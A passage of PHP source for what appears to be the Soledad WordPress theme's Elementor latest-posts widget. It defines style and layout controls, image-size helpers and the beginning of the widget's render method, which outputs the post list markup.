				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_size' => 'custom' ),
			)
		);

		$this->add_control(
			'thumb_bigsize', array(
				'label'     => __( 'Custom Image size for Featured Posts', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => '',
				'options'   => $this->get_list_image_sizes( true ),
				'condition' => array( 'penci_size' => 'custom' ),
			)
		);

		$this->add_control(
			'title_length', array(
				'label'       => __( 'Custom words length for post titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( 'If your post titles is too long - You can use this option for trim it. Fill number value here.', 'soledad' ),
			)
		);

		$this->add_control(
			'dotstyle', array(
				'label'   => __( 'Show Timeline Dots?', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''   => esc_html__( "Don't Show", 'soledad' ),
					's1' => esc_html__( 'Show with Color Style', 'soledad' ),
					's2' => esc_html__( 'Show with Hover Style', 'soledad' ),
					's3' => esc_html__( 'Show with Animation Style', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'movemeta', array(
				'label'   => __( 'Move post meta to display above post title?', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'hide_thumb', array(
				'label'   => __( 'Hide thumbnail', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => '',
			)
		);
		$this->add_control(
			'thumbright', array(
				'label'     => __( 'Display thumbnail on right?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'condition' => array( 'hide_thumb!' => 'yes' ),
			)
		);
		$this->add_control(
			'twocolumn', array(
				'label'       => __( 'Display on 2 columns?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'If you use 2 columns option, it will ignore option display thumbnail on right.', 'soledad' ),
			)
		);
		$this->add_control(
			'featured', array(
				'label' => __( 'Display 1st post featured?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'featured2', array(
				'label' => __( 'Display featured post style 2?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'allfeatured', array(
				'label'       => __( 'Display all post featured?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.', 'soledad' ),
			)
		);
		$this->add_control(
			'show_author', array(
				'label' => __( 'Show Author Name?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'hide_postdate', array(
				'label' => __( 'Hide post date?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_comment', array(
				'label' => __( 'Show Comment Count?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'show_postviews', array(
				'label' => __( 'Show Post Views?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'icon_format', array(
				'label' => __( 'Enable icon post format?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'ordernum', array(
				'label' => __( 'Show the order numbers?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'ordernum_style', array(
				'label'     => __( 'Order Number Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'condition' => [ 'ordernum' => 'yes' ],
				'default'   => '1',
				'options'   => array(
					'1' => esc_html__( 'Style 1', 'soledad' ),
					'2' => esc_html__( 'Style 2', 'soledad' ),
					'3' => esc_html__( 'Style 3', 'soledad' ),
					'4' => esc_html__( 'Style 4', 'soledad' ),
				),
			)
		);

		$this->add_responsive_control(
			'imgwidth', array(
				'label'       => __( 'Custom Image Width', 'soledad' ),
				'description' => __( 'This option doesn\'t apply for featured posts.', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
				'selectors'   => array(
					'{{WRAPPER}} ul.side-newsfeed li .penci-image-holder.small-fix-size' => 'width: {{SIZE}}px'
				),
				'condition'   => array( 'hide_thumb!' => 'yes' ),
			)
		);

		$this->add_control(
			'showborder', array(
				'label'     => __( 'Remove Border at The Bottom?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed:not(.penci-feed-2columns) li' 				=> 'border-bottom: none',
					'{{WRAPPER}} .side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee'  => 'border-bottom: none'
				)
			)
		);

		$this->add_control(
			'rp_rows_gap', array(
				'label'              => __( 'Rows Gap', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'range'              => array( 'px' => array( 'min' => 0, 'max' => 200 ) ),
				'frontend_available' => true,
				'selectors'          => array(
					'{{WRAPPER}} .side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee' => 'margin-bottom: calc({{SIZE}}{{UNIT}}/2); padding-bottom: calc({{SIZE}}{{UNIT}}/2)',
					'{{WRAPPER}} ul.side-newsfeed:not(.penci-feed-2columns) li' 			   => 'margin-bottom: calc({{SIZE}}{{UNIT}}/2); padding-bottom: calc({{SIZE}}{{UNIT}}/2)',
					'{{WRAPPER}} ul.penci-feed-2columns li'                     			   => 'margin-bottom: {{SIZE}}{{UNIT}}',
				),
			)
		);

		$this->add_control( 'ajaxnav', array(
			'label'   => __( 'Ajax Posts Navigation?', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''    => 'Disable',
				'nav' => 'Next/Previous Buttons',
				'btn' => 'Load More Posts Button',
			]
		) );
		
		$this->add_control( 'vertical_scroll', array(
			'label'   	  => __( 'Enable Vertical Scroll?', 'soledad' ),
			'description' => __( 'This option only affects the front end.', 'soledad' ),
			'type'    	  => Controls_Manager::SWITCHER,
		) );
		
		$this->add_responsive_control( 'vertical_scroll_height', array(
			'label'   	=> __( 'Scroll Height', 'soledad' ),
			'type'    	=> Controls_Manager::SLIDER,
			'condition' => [ 'vertical_scroll' => 'yes' ],
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
			'selectors' => array( '{{WRAPPER}} ul.side-newsfeed' => 'max-height: {{SIZE}}px' ),
		) );
		
		$this->add_control( 'vertical_scroll_speed', array(
			'label'   	=> __( 'Scroll Speed', 'soledad' ),
			'type'    	=> Controls_Manager::NUMBER,
			'condition' => [ 'vertical_scroll' => 'yes' ],
		) );
		
		$this->add_control( 'vertical_scroll_spacing', array(
			'label'   	=> __( 'Scroll Spacing', 'soledad' ),
			'type'    	=> Controls_Manager::NUMBER,
			'default' 	=> 20,
			'condition' => [ 'vertical_scroll' => 'yes' ],
		) );

		$this->end_controls_section();
		$this->register_query_section_controls();
		$this->register_block_title_section_controls();
		$this->start_controls_section(
			'section_post_style',
			array(
				'label' => __( 'Post', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);
		$this->add_control(
			'pborder_color', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee'                                                   => 'border-bottom: 1px solid {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li, {{WRAPPER}} .side-newsfeed.pctlst'                                                         => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:before, {{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:before' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pborder_timeline', array(
				'label'     => __( 'Border Colors for Timeline Dots', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'dotstyle!' => '' ),
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.pctlst' => 'border-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'dotbg', array(
				'label'     => __( 'Dots Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'dotstyle!' => '' ),
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.pctlst .penci-feed:before' => 'background-color: {{VALUE}};',
				)
			)
		);

		$this->add_control(
			'dothbg', array(
				'label'     => __( 'Dots Hover/Animation Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'dotstyle' => array( 's2', 's3' ) ),
				'selectors' => array(
					'{{WRAPPER}} .side-newsfeed.pctlst.pctl-s2 .penci-feed:hover:before,{{WRAPPER}} .side-newsfeed.pctlst.pctl-s3 .penci-feed:after' => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ordernum_typo',
				'label'    => __( 'Order Number Typo', 'soledad' ),
				'selector' => '{{WRAPPER}} ul.order-numbers-3 li .number-post,{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before,{{WRAPPER}} ul.side-newsfeed li .number-post,{{WRAPPER}} .order-numbers-2.display-order-numbers li .side-item-text:before',
			)
		);
		$this->add_control(
			'ordernum_bgcolor', array(
				'label'     => __( 'Order Number Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'ordernum_style!' => '2' ],
				'selectors' => array(
					'{{WRAPPER}} ul.order-numbers-3 li .number-post'                           => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .number-post'                             => 'background-color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ordernum_color', array(
				'label'     => __( 'Order Number Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.order-numbers-3 li .number-post'                               => 'color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before'     => 'color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .number-post'                                 => 'color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-2.display-order-numbers li .side-item-text:before' => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ordernum_bdcolor', array(
				'label'     => __( 'Order Number Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [ 'ordernum_style!' => '2' ],
				'selectors' => array(
					'{{WRAPPER}} ul.order-numbers-3 li .number-post'                           => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .order-numbers-4.display-order-numbers li .side-image:before' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .number-post'                             => 'border-color: {{VALUE}};',
				)
			)
		);
		$this->add_responsive_control(
			'ordernum_size', array(
				'label'     => __( 'Order Number Box Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => '' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'condition' => [ 'ordernum_style!' => '2' ],
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed'                                                                                                      => '--oboxsize: {{SIZE}}px;',
					'{{WRAPPER}} ul.side-newsfeed.order-numbers-1 li .order-border-number,{{WRAPPER}} ul.side-newsfeed.order-numbers-1 li .number-post' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height:calc({{SIZE}}px - 2px);',
				)
			)
		);
		$this->add_control(
			'heading_ptitle_style', array(
				'label' => __( 'Post Title', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'ptitle_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4 a' => 'color: {{VALUE}};',
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4'   => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title'         => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a'       => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'ptitle_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4 a:hover' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_item .pcpopular_new_post_title a:hover'       => 'color: {{VALUE}};',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text h4 a,{{WRAPPER}}  ul.side-newsfeed li .side-item .side-item-text h4, {{WRAPPER}} .popularpost_item .pcpopular_new_post_title a, {{WRAPPER}} .popularpost_item .pcpopular_new_post_title'
			)
		);

		$this->add_responsive_control(
			'featitle_size', array(
				'label'     => __( 'Font size for Featured/Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li.featured-news .side-item .side-item-text h4 a' => 'font-size: {{SIZE}}px'
				),
			)
		);

		$this->add_control(
			'heading_pmeta_style', array(
				'label' => __( 'Post Meta', 'soledad' ),
				'type'  => Controls_Manager::HEADING
			)
		);

		$this->add_control(
			'pmeta_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_meta'                                              => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_acolor', array(
				'label'     => __( 'Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta a' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_meta a'                                              => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_control(
			'pmeta_ahcolor', array(
				'label'     => __( 'Hover Color for Author Name & Comment Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover' => 'color: {{VALUE}};',
					'{{WRAPPER}} .popularpost_meta a:hover'                                              => 'color: {{VALUE}};',
				)
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => '{{WRAPPER}} ul.side-newsfeed li .side-item .side-item-text .side-item-meta, {{WRAPPER}} .popularpost_meta',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section( 'post_navigation_style', array(
			'label'     => __( 'Post Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'ajaxnav!' => '' ]
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'post_nav_btn_typo',
			'label'    => __( 'Button Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title, {{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button',
		) );

		$this->add_control( 'post_nav_btn_color', array(
			'label'     => __( 'Button Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdcolor', array(
			'label'     => __( 'Button Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bgcolor', array(
			'label'     => __( 'Button Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button'                                                       => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_hcolor', array(
			'label'     => __( 'Button Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bdhcolor', array(
			'label'     => __( 'Button Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'post_nav_btn_bghcolor', array(
			'label'     => __( 'Button Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover,{{WRAPPER}} .penci-pagination.penci-ajax-nav .pcajx-btn:hover .pcnav-title' => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover'                                                             => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings         = $this->get_settings();
		$penci_size       = isset( $settings['penci_size'] ) ? $settings['penci_size'] : '';
		$dotstyle         = $settings['dotstyle'] ? $settings['dotstyle'] : '';
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : '';
		$thumb_bigsize    = $settings['thumb_bigsize'] ? $settings['thumb_bigsize'] : '';
		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		$query_args = Query_Control::get_query_args( 'posts', $settings );
		if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
			$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
			$ppp    = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
			$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			$offset = 0;
			if ( $ppp ) {
				$query_args['posts_per_page'] = $ppp;
			}
			if ( $settings['arposts_new'] == 'yes' ) {
				$query_args['paged'] = 1;
			}
			if ( 0 < $settings['offset'] ) {
				$offset = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
			}

			if ( $offset ) {
				$query_args['offset'] = $offset;
			}
		}
		$loop = new \WP_Query( $query_args );

		if ( ! $loop->have_posts() ) {
			return;
		}

		$title_length = intval( $settings['title_length'] );
		$featured     = 'yes' == $settings['featured'] ? true : false;
		$movemeta     = 'yes' == $settings['movemeta'] ? true : false;
		$twocolumn    = 'yes' == $settings['twocolumn'] ? true : false;
		$featured2    = 'yes' == $settings['featured2'] ? true : false;
		$allfeatured  = 'yes' == $settings['allfeatured'] ? true : false;
		$thumbright   = 'yes' == $settings['thumbright'] ? true : false;
		$postdate     = 'yes' == $settings['hide_postdate'] ? true : false;
		$showauthor   = 'yes' == $settings['show_author'] ? true : false;
		$showcomment  = 'yes' == $settings['show_comment'] ? true : false;
		$showviews    = 'yes' == $settings['show_postviews'] ? true : false;
		$icon         = 'yes' == $settings['icon_format'] ? true : false;
		$ordernum     = 'yes' == $settings['ordernum'] ? true : false;
		$vscroll      = 'yes' == $settings['vertical_scroll'] ? true : false;

		if ( $vscroll ) {
			wp_enqueue_script( 'penci-marquee-widget' );
		}

		$ajax_tab_var = [
			'title_length'   => intval( $settings['title_length'] ),
			'featured'       => $settings['featured'],
			'movemeta'       => $settings['movemeta'],
			'twocolumn'      => $settings['twocolumn'],
			'featured2'      => $settings['featured2'],
			'allfeatured'    => $settings['allfeatured'],
			'thumbright'     => $settings['thumbright'],
			'hide_postdate'  => $settings['hide_postdate'],
			'show_author'    => $settings['show_author'],
			'show_comment'   => $settings['show_comment'],
			'show_postviews' => $settings['show_postviews'],
			'icon_format'    => $settings['icon_format'],
			'ordernum'       => $settings['ordernum'],
			'custom_query'   => $query_args,
		];


		$css_class = 'penci-block-vc penci_recent-posts-sc widget';
		$rand      = rand( 1000, 10000 );
		?>
        <div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-block_content">

                <ul id="penci-latestwg-<?php echo sanitize_text_field( $rand ); ?>"
					<?php if ( $vscroll ): ?>
						data-vscroll-speed="<?php echo esc_attr( $settings['vertical_scroll_speed'] ); ?>"
						data-vscroll-spacing="<?php echo esc_attr( $settings['vertical_scroll_spacing'] ); ?>"
					<?php endif; ?>
					<?php if ( isset( $settings['ajaxnav'] ) && $settings['ajaxnav'] ) { ?>
                        data-settings='<?php echo json_encode( $ajax_tab_var ); ?>'
                        data-paged="1"
                        data-type="elementor"
                        data-action="penci_latest_news_widget_ajax"
                        data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                        data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
					<?php } ?>
                    class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
						if ( $featured ) {
							echo ' penci-2columns-featured';
						} else {
							echo ' penci-2columns-feed';
						} endif;
					if ( $dotstyle ) {
						echo ' pctlst pctl-' . $dotstyle;
					}
					if ( $ordernum ) {
						echo ' display-order-numbers order-numbers-' . $settings['ordernum_style'];
					}
					if ( $vscroll ) {
						echo ' penci-vscroll';
					}
					?>">
					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>
                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( $ordernum && has_post_thumbnail() && ! $settings['hide_thumb'] ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $settings['hide_thumb'] ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {
											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}

										$thumb = penci_featured_images_size( 'small' );
										if ( 'horizontal' == $penci_size ) {
											$thumb = 'penci-thumb-small';
										} else if ( 'square' == $penci_size ) {
											$thumb = 'penci-thumb-square';
										} else if ( 'vertical' == $penci_size ) {
											$thumb = 'penci-thumb-vertical';
										} else if ( 'custom' == $penci_size ) {
											if ( $thumb_size ) {
												$thumb = $thumb_size;
											}
										}
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											$thumb = penci_featured_images_size();
											if ( 'horizontal' == $penci_size ) {
												$thumb = 'penci-thumb';
											} else if ( 'square' == $penci_size ) {
												$thumb = 'penci-thumb-square';
											} else if ( 'vertical' == $penci_size ) {
												$thumb = 'penci-thumb-vertical';
											} else if ( 'custom' == $penci_size ) {
												if ( $thumb_bigsize ) {
													$thumb = $thumb_bigsize;
												}
											}
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?>
                                                class="<?php echo penci_layout_bg_class(); ?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
													echo '';
												} else {
													echo ' small-fix-size';
												} ?>" rel="bookmark"
                                                href="<?php the_permalink(); ?>"
                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
